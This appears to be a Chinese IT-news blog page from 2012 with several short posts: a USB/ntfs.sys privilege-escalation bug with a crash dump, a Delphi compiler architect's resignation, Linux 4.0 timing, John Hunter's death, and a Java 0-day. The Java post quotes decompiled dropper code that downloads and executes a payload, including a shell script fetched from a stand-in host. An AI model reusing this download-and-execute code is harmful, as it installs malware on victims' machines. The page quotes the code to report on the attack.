分类 IT资讯 下的文章

Win7下插U盘引发的溢出漏洞类安全问题

看了"Introducing the USB Stick of Death",真是有些意外。Win7下的ntfs.sys中竟然有这样一个隐患。下面就是对该文部分内容的大致翻译。

这个bug是由Gynvael Coldwind发现的,并由Mateusz “j00ru” Jurczyk折腾出了利用这个溢出漏洞来提权的操作。

这个安全问题是他们在几个月前检查各设备驱动的安全性和健壮性时发现的,他们的研究重点是NTFS相关的驱动,因为这货异常复杂和庞大,他们认为肯定有一些漏洞还没被发现,而且相关的一些设备驱动程序肯定有一些不用太费劲就可以找到的问题,结果是他们成功了。

当简单的进行插入U盘的操作时,操作系统会自动加载它并会触发一个ntfs.sys中的漏洞。

他们发现了一些可能会被利用的问题,其中一个有趣的问题,虽然并不是太严重,但可以用来本地提权。估计木马编写者们应该很喜欢这样的漏洞。

他们首先是试图找一些能重现的问题,结果在大约17个小时的尝试中,找到了一个可以重复出现的让win7 蓝屏的操作。

结果类似这样:

EXCEPTION_RECORD:  fffff88006fd7fd8 -- (.exr 0xfffff88006fd7fd8)
ExceptionAddress: fffff8800125311e (Ntfs!NtfsAcquirePagingResourceExclusive+0x0000000000000016)
  ExceptionCode: c0000005 (Access violation)
 ExceptionFlags: 00000000
NumberParameters: 2
  Parameter[0]: 0000000000000000
  Parameter[1]: 0000000000000060
Attempt to read from address 0000000000000060

CONTEXT:  fffff88006fd7830 -- (.cxr 0xfffff88006fd7830)
rax=0000000000000702 rbx=fffffa8005c0b180 rcx=0000000000000000
rdx=fffff8a005859ce0 rsi=fffffa8005c0b7e0 rdi=0000000000000000
rip=fffff8800125311e rsp=fffff88006fd8218 rbp=fffff88006fd85a0
r8=0000000000000001  r9=0000000000000000 r10=fffff8a00b254010
r11=fffff88006fd81e8 r12=fffffa8005b36ae0 r13=0000000000000000
r14=0000000000000001 r15=00000000c000026e
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
Ntfs!NtfsAcquirePagingResourceExclusive+0x16:
fffff880`0125311e 488b4960        mov     rcx,qword ptr [rcx+60h] ds:002b:00000000`00000060=????????????????
Resetting default scope

[...]

STACK_TEXT: 
fffff880`06fd8218 fffff880`01326de4 : [...] : Ntfs!NtfsAcquirePagingResourceExclusive+0x16
fffff880`06fd8220 fffff880`013178a3 : [...] : Ntfs!NtfsPerformDismountOnVcb+0x758
fffff880`06fd8330 fffff880`01317656 : [...] : Ntfs!NtfsLockVolumeInternal+0xf3
fffff880`06fd83a0 fffff880`013053ee : [...] : Ntfs!NtfsLockVolume+0x1f6
fffff880`06fd8480 fffff880`0130553d : [...] : Ntfs!NtfsUserFsRequest+0x2de
fffff880`06fd84c0 fffff880`0102ebcf : [...] : Ntfs!NtfsFsdFileSystemControl+0x13d
fffff880`06fd8560 fffff880`01031aea : [...] : fltmgr!FltpLegacyProcessingAfterPreCallbacksCompleted+0x24f
fffff880`06fd85f0 fffff880`010670b5 : [...] : fltmgr!FltPerformSynchronousIo+0x2ca
fffff880`06fd8690 fffff880`01067b38 : [...] : fltmgr!IssueControlOperation+0x395
fffff880`06fd8720 fffff880`031555df : [...] : fltmgr!FltFsControlFile+0x48
fffff880`06fd8780 fffff880`03155d0e : [...] : FsDepends!DepFSSendDismountRequest+0x143
fffff880`06fd87e0 fffff880`0315582d : [...] : FsDepends!DepFSDismountDependencyList+0xd6
fffff880`06fd8840 fffff880`031747a8 : [...] : FsDepends!DependentFSDismountForUnsurface+0x175
fffff880`06fd88a0 fffff880`031749f2 : [...] : vhdmp!VhdmpiHaltActiveSurface+0x78
fffff880`06fd88f0 fffff880`03177156 : [...] : vhdmp!VhdmpiHaltSurfaceOrWait+0xb2
fffff880`06fd8940 fffff880`0316e117 : [...] : vhdmp!VhdmpiRemoveVirtualDisk+0x246
fffff880`06fd8990 fffff880`03166177 : [...] : vhdmp! ?? : [...] :FNODOBFM: [...] :`string'+0x4d87
fffff880`06fd89c0 fffff800`0299e717 : [...] : vhdmp!VhdmpFirstLevelIrpHandler+0x87
fffff880`06fd8a10 fffff800`0299ef76 : [...] : nt!IopXxxControlFile+0x607
fffff880`06fd8b40 fffff800`02687453 : [...] : nt!NtDeviceIoControlFile+0x56
fffff880`06fd8bb0 00000000`76e0138a : [...] : nt!KiSystemServiceCopyEnd+0x13
00000000`010fe548 000007fe`fd49a249 : [...] : ntdll!NtDeviceIoControlFile+0xa
00000000`010fe550 00000000`76ca683f : [...] : KERNELBASE!DeviceIoControl+0x75
00000000`010fe5c0 000007fe`f32d3994 : [...] : kernel32!DeviceIoControlImplementation+0x7f
00000000`010fe610 000007fe`f2c6886b : [...] : VirtDisk!DetachVirtualDisk+0x6c
00000000`010fe670 00000000`ff61f734 : [...] : vdsvd!COpenVDisk: [...] :Detach+0xb3
00000000`010fe6a0 000007fe`fd8823d5 : [...] : vds!CVdsOpenVDisk: [...] :Detach+0x3c
00000000`010fe6e0 000007fe`fd92b68e : [...] : RPCRT4!Invoke+0x65
00000000`010fe740 000007fe`fd8848d6 : [...] : RPCRT4!Ndr64StubWorker+0x61b
00000000`010fed00 000007fe`fee60883 : [...] : RPCRT4!NdrStubCall3+0xb5
00000000`010fed60 000007fe`fee60ccd : [...] : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
00000000`010fed90 000007fe`fee60c43 : [...] : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
00000000`010fee00 000007fe`fed1a4f0 : [...] : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
00000000`010feeb0 000007fe`fee614d6 : [...] : ole32!CCtxComChnl: [...] :ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
00000000`010ff040 000007fe`fee6122b : [...] : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086]
00000000`010ff0b0 000007fe`fee5fd6d : [...] : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
00000000`010ff240 000007fe`fd8750f4 : [...] : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751]
00000000`010ff2e0 000007fe`fd874f56 : [...] : RPCRT4!DispatchToStubInCNoAvrf+0x14
00000000`010ff310 000007fe`fd87775b : [...] : RPCRT4!RPC_INTERFACE: [...] :DispatchToStubWorker+0x146
00000000`010ff430 000007fe`fd87769b : [...] : RPCRT4!RPC_INTERFACE: [...] :DispatchToStub+0x9b
00000000`010ff470 000007fe`fd877632 : [...] : RPCRT4!RPC_INTERFACE: [...] :DispatchToStubWithObject+0x5b
00000000`010ff4f0 000007fe`fd87532d : [...] : RPCRT4!LRPC_SCALL: [...] :DispatchRequest+0x422
00000000`010ff5d0 000007fe`fd892e7f : [...] : RPCRT4!LRPC_SCALL: [...] :HandleRequest+0x20d
00000000`010ff700 000007fe`fd892a35 : [...] : RPCRT4!LRPC_ADDRESS: [...] :ProcessIO+0x3bf
00000000`010ff840 00000000`76dcb68b : [...] : RPCRT4!LrpcIoComplete+0xa5
00000000`010ff8d0 00000000`76dcfeff : [...] : ntdll!TppAlpcpExecuteCallback+0x26b
00000000`010ff960 00000000`76ca652d : [...] : ntdll!TppWorkerThread+0x3f8
00000000`010ffc60 00000000`76ddc521 : [...] : kernel32!BaseThreadInitThunk+0xd
00000000`010ffc90 00000000`00000000 : [...] : ntdll!RtlUserThreadStart+0x1d

- 阅读剩余部分 -

悲剧的Delphi

今天看到Delphi编译器的维护人员BARRY KELLY的一条博文,称放弃Delphi编译器的开发工作并从Embarcadero辞职:

消息来源:http://blog.barrkel.com/2012/09/moving-on.html

Moving On

An update: I've left Embarcadero Technologies.

There's a lot of reasons. I was in the same position for more than six
years, but I didn't necessarily want to be pigeonholed as a compiler
guy. I was working remotely from London, with all the downsides that
remote working entails: relative lack of camaraderie, out of sight /
out of mind, disconnection from the actually quite vibrant local tech
scene (I live about 3 miles from Old Street roundabout). But more than
anything else, I'd fallen out of love with Delphi, and could no longer
motivate myself to try and make it better - the gap I'd try to bridge
would be a gap too far for the market to bear.

I'm currently taking stock, thinking about what I want to do next. No
specific plans, but it's going to be fairly different than what went
before!

Danny Thorpe走后,BARRY KELLY就接过了Delphi编译器的维护工作。后继版本的Delphi中,类似新RTTI、泛型、匿名方法等新语法特性都是他加进去的。

没想到作为Delphi 编译器架构师,竟然在这样的状态下工作了6年之久,难怪他厌倦了,从热爱Delphi并充满激情到一点也不喜欢这份工作及Delphi,BARRY KELLY坚持了6年。

作为一个曾经很伟大的开发工具,Delphi其实已经在慢慢地走向没落。

我在想如果Embarcadero在接手Delphi后,尝试走开源路线,增强与Freepascal的联系和支持,增强与llvm的联系和支持,改变盈利方式,尝试开源这个IDE,或者开源老版本的IDE,恐怕6年后的今天,Delphi这个开发工具的用户会更多,也会更成熟稳定。缺少用户和维护人员,又如何能开发出好的产品呢,每年的新版,都不断被老用户骂,一个新版,不发上3个update,总是bug不断,新的功能也总是差强人意。

现在还能招到喜欢愿意维护Delphi编译器的成熟开发人员么,恐怕很难了。

Linus Torvalds表示Linux 4.0将在2015年发布

来源:http://www.internetnews.com/blog/skerner/linux-4.0-coming-in-2015-linuxcon.html

GNU/Linux内核在2.6.x时,因为数学已经太大,到了2.6.39,所以就把后继版本改为3.0。现在3.x已经到了3.6了,那么到什么时候会有4.0出现?

Linus说到30的时候,就应该把版本改为4.0了,因为数字太大,不容易记。

"We are not going to go to the mid-30's," Torvalds said. "It's just mentally much easier for people to remember the small number. We'll do 4.0 in three years maybe when the sub numbers have grown in the 20's and our feeble brains can't handle it."

也就说三年后,3.x会进化到3.30的样子,这时候就会把版本改为4.0了,这样大家比较容易记忆。

其实到现在,版本已经只是一个符号了,并没有特别的意义。在前面的Linux内核当前维护状态中就说明了,一个长期维护版本才是有意义的。版本号的飙升,更多意义上,只是说明这个软件是有活力的。正如ChromeFirefox一样。

A sad day for python community. John Hunter: 1968-2012

中午突然看到这个消息,matplotlib的创造者John Hunter,患癌症去世。John Hunter是python开发中使用得非常频繁的matplotlib库的作者,他还是 NumFOCUS 基金会理事。

2012-8-21, John Hunter还把他在SciPy 2012 conference in Austin上的演讲上传到youtube上: matplotlib: Lessons from middle age. ,没想到这么快就辞世而去。

NumFOCUS上成立了John Hunter Memorial Fund

消息来源:http://mail.scipy.org/pipermail/scipy-user/2012-August/032885.html

Java 出现0day漏洞 专家建议暂时禁用

目前多家资讯安全公司发布资讯安全通告表示,目前的Java含有未修补的漏洞,而且黑客已经在攻击中利用该漏洞,因此在甲骨文(Oracle)修补该漏洞之前,用户应该先禁用或解除安装Java。

首先披露此漏洞遭受攻击的资讯安全公司FireEye表示,他们发现ok.XXX4.net网站是此次攻击黑客所使用的主机,其IP位于中国境内。当用户受电子邮件等方式引导连结到该网站时,网页内含的Java程序能够跳脱Java的沙箱保护机制,下载安装恶意程序dropper(Dropper.MsPMs),该恶意程序的主控电脑则为hello.icon.pk,其IP位于新加坡。

专家指出,此漏洞导致的攻击方式与以往有很大的不同。以往的攻击通常会导致浏览器故障,因此用户可能会发现有问题,但该漏洞不会导致浏览器当机,能在用户毫无知觉的情境下安装恶意软体。

目前最新版本的Java(JDK/JRE version 1.7 update 6)均含有此漏洞,而且是Windows、OS X、Linux各平台版本都不例外,各资讯安全公司也发现,不管搭配哪个浏览器,都一样会遭入侵。之前的旧版Java则不确定会受此漏洞影响,不过旧版可能含有其他的问题,因此各资讯安全公司均认为用户不该降级使用旧版。

资讯安全公司DeepEnd及Secunia也指出,此波攻击的Java程序修改了Java的安全性管理规则,导致Java程序可以不受这些规则限制,可以为所欲为。

DeepEnd公司表示,从Oracle买下SUN取得Java以来,几乎不曾在每季定期更新之外推出安全更新,他们希望Oracle此次能够破例,因为下一次定期更新(10/16)还有一个半月的日期。

该公司也开发一个修补该漏洞的工具程序,可以阻止这个恶意Java程序执行,但如果不法之徒取得该程序,可能用来发展新一波的攻击,因此该工具仅提供给大批电脑且依赖Java运作的资讯管理人员使用。

目前发现的攻击事件都是针对Windows上的Java 7,但资讯安全顾问公司Accuvant已经证实同样的漏洞可以在OS X及Linux上进行攻击,因此这些系统的用户可能也需要停用或解除Java才能保护系统的安全。

上个月举办的黑帽大会中,专家曾指出因为Java具有跨平台的特性,因此Java的漏洞越来越受注目,Java漏洞往往很快就被加入攻击用的工具程序中。

http://www.dslreports.com/forum/r27471164-Java-7-0-day上,有人贴出了部分代码,很有中国特色:

   if(xiaomaolv == null && bn == null)
        return null;
    try
    {
        String k1 = "woyouyizhixiaomaol";
        String k2 = "conglaiyebuqi";
        String str1 = System.getProperty("os.name");
        if(bn.indexOf(k1) == 0 && si.indexOf(k2) == 0 && bs.intValue() == 748)
        {
            Object localObject1 = (new StringBuilder(String.valueOf(System.getProperty("java.io.tmpdir")))).append(File.separator).append("update.exe").toString();
            downFile((String)localObject1, xiaomaolv);
            if(str1.indexOf("Windows")  0){
           //Wee look at me, I affect not just Windows!!
                (new File((String)localObject1)).delete();
                downFile((String)localObject1, "http://www.example.com/hostile_stuff.sh");
                exec((new StringBuilder("chmod 755 ")).append((String)localObject1).toString());

            }
            exec((String)localObject1);
            (new File((String)localObject1)).delete();
        }
    }
    catch(Exception exception) { }
    return null;

"我有一只小毛驴,从来也不骑"......

不过境内使用Java6的应该还是多数。